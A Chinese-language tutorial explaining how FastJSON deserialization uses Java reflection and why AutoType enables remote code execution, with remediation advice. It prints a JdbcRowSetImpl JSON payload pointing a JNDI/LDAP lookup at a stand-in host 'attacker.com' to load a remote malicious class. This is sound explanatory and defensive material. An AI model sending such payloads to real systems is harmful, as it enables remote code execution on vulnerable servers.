?? 剖析FastJSON 反序列化是如何利用的反射機(jī)制 ?? 一、反序列化是什么? 反序列化(Deserialization) :將字符串形式的數(shù)據(jù)(如 JSON)轉(zhuǎn)成 Java 對(duì)象的過程。
舉個(gè)例子,有一個(gè) Java 類:
public class User { public String username; public int age; }
如果傳入 JSON:
{ "username" : "www.geekserver.top" , "age" : 20 }
我們可以使用 FastJSON 自動(dòng)反序列化它:
User u = JSON.parseObject(jsonStr, User.class);
但問題是—— FastJSON 怎么知道怎么構(gòu)建這個(gè)類?怎么給字段賦值?這時(shí)候就用到了 Java 的反射機(jī)制。
?? 二、FastJSON 使用反射詳細(xì)分析 下面我們 從零開始拆解 FastJSON 是怎么用反射一步步把 JSON 字符串變成對(duì)象的。
?? 第 1 步:類加載 FastJSON 首先需要知道要反序列化成哪個(gè)類。
如果手動(dòng)指定類(如 User.class
),就直接用; 如果啟用了 AutoType
,就從 JSON 的 @type
字段中讀取。 // 方式一:手動(dòng)指定類 JSON.parseObject(jsonStr, User.class); Class<?> clazz = User . class ; // 方式二:AutoType 動(dòng)態(tài)識(shí)別 JSON.parseObject(jsonStr); String className = jsonObj.get( "@type" ); Class<?> clazz = Class.forName(className);
反射關(guān)鍵點(diǎn): Class.forName()
動(dòng)態(tài)加載類 。
?? 第 2 步:實(shí)例化對(duì)象 FastJSON 會(huì)用 clazz.newInstance()
創(chuàng)建目標(biāo)類的實(shí)例。
Object obj = clazz.newInstance(); // 相當(dāng)于 new User()
反射關(guān)鍵點(diǎn): 默認(rèn)調(diào)用類的無參構(gòu)造方法 。如果類沒有無參構(gòu)造,就報(bào)錯(cuò)。
?? 第 3 步:遍歷字段,賦值屬性 FastJSON 會(huì)讀取 JSON 中的 key-value 對(duì),然后:
具體如下:
Field field = clazz.getDeclaredField( "username" ); // 找到字段 field.setAccessible( true ); // 設(shè)置可訪問 field.set(obj, "Alice" ); // 設(shè)置值
對(duì)于多個(gè)字段會(huì)這樣循環(huán):
for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); field.set(obj, entry.getValue()); }
?? 結(jié)果:我們就用反射動(dòng)態(tài)生成了一個(gè)對(duì)象! User u = (User) obj; System.out.println(u.username); // 輸出:Alice
??總結(jié) FastJSON的反序列化 JSON.parseObject(jsonStr, User.class);
相當(dāng)于進(jìn)行了如下操作:
// 1. 把 JSON 字符串轉(zhuǎn)成 Map 結(jié)構(gòu) Map<String, Object> jsonMap = new HashMap<>(); jsonMap.put( "username" , "alice" ); jsonMap.put( "age" , 18 ); // 2. 用反射創(chuàng)建對(duì)象實(shí)例 Class<?> clazz = User . class ; Object obj = clazz.newInstance(); // 默認(rèn)調(diào)用無參構(gòu)造 // 3. 用反射給字段賦值(字段名必須和 JSON 鍵一致) for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); // 解鎖私有字段 field.set(obj, entry.getValue()); // 賦值 } // 4. 返回強(qiáng)轉(zhuǎn)后的對(duì)象 User u = (User) obj;
?? 三、AutoType 與反射結(jié)合后的漏洞原理 我們現(xiàn)在明白了 FastJSON 會(huì):
通過反射 Class.forName()
加載類; 用反射 newInstance()
創(chuàng)建對(duì)象; ? 那攻擊者可以怎么利用? 如果開啟了 AutoType,攻擊者就能傳一個(gè)精心構(gòu)造的 JSON,例如:
{ "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://attacker.com/Exploit" , "autoCommit" : true }
FastJSON 會(huì):
調(diào)用其構(gòu)造方法創(chuàng)建對(duì)象; 自動(dòng)調(diào)用 setDataSourceName("ldap://...")
; 內(nèi)部觸發(fā) JNDI 請(qǐng)求 → 遠(yuǎn)程加載惡意類 → 執(zhí)行代碼。 JdbcRowSetImpl
利用鏈分析 ?? FastJSON × JdbcRowSetImpl 利用鏈?zhǔn)欠襁€有效?全面解析如何突破 JDK 安全限制
?? 四、流程總結(jié) 階段 技術(shù) 說明 ??? 加載類 Class.forName()
反射動(dòng)態(tài)加載任意類(危險(xiǎn)!) ?? 創(chuàng)建對(duì)象 clazz.newInstance()
調(diào)用無參構(gòu)造方法實(shí)例化 ?? 設(shè)置屬性 field.set(obj, value)
設(shè)置攻擊字段觸發(fā)危險(xiǎn)行為 ?? 利用漏洞類 JdbcRowSetImpl
自動(dòng)觸發(fā) JNDI 請(qǐng)求 ?? 實(shí)現(xiàn) RCE JNDI + 遠(yuǎn)程類加載 下載并執(zhí)行遠(yuǎn)程惡意類
? 五、修復(fù)建議 防護(hù)措施 建議 ?? 禁用 AutoType 默認(rèn)關(guān)閉 setAutoTypeSupport(true)
? 配置白名單 ParserConfig.addAccept("com.safe.")
?? 升級(jí) FastJSON 推薦 1.2.83+,更強(qiáng)防護(hù)機(jī)制 ?? 審計(jì)日志 檢查是否存在 @type
字段傳入
?? 六、總結(jié):為什么 FastJSON 漏洞離不開反射? Java 的反射機(jī)制讓 JSON 可以動(dòng)態(tài)適配任何類; 攻擊者正是利用了反射的“全能”特性,構(gòu)造任意對(duì)象、注入惡意行為。
閱讀原文:原文鏈接
該文章在 2025/5/6 12:15:41 編輯過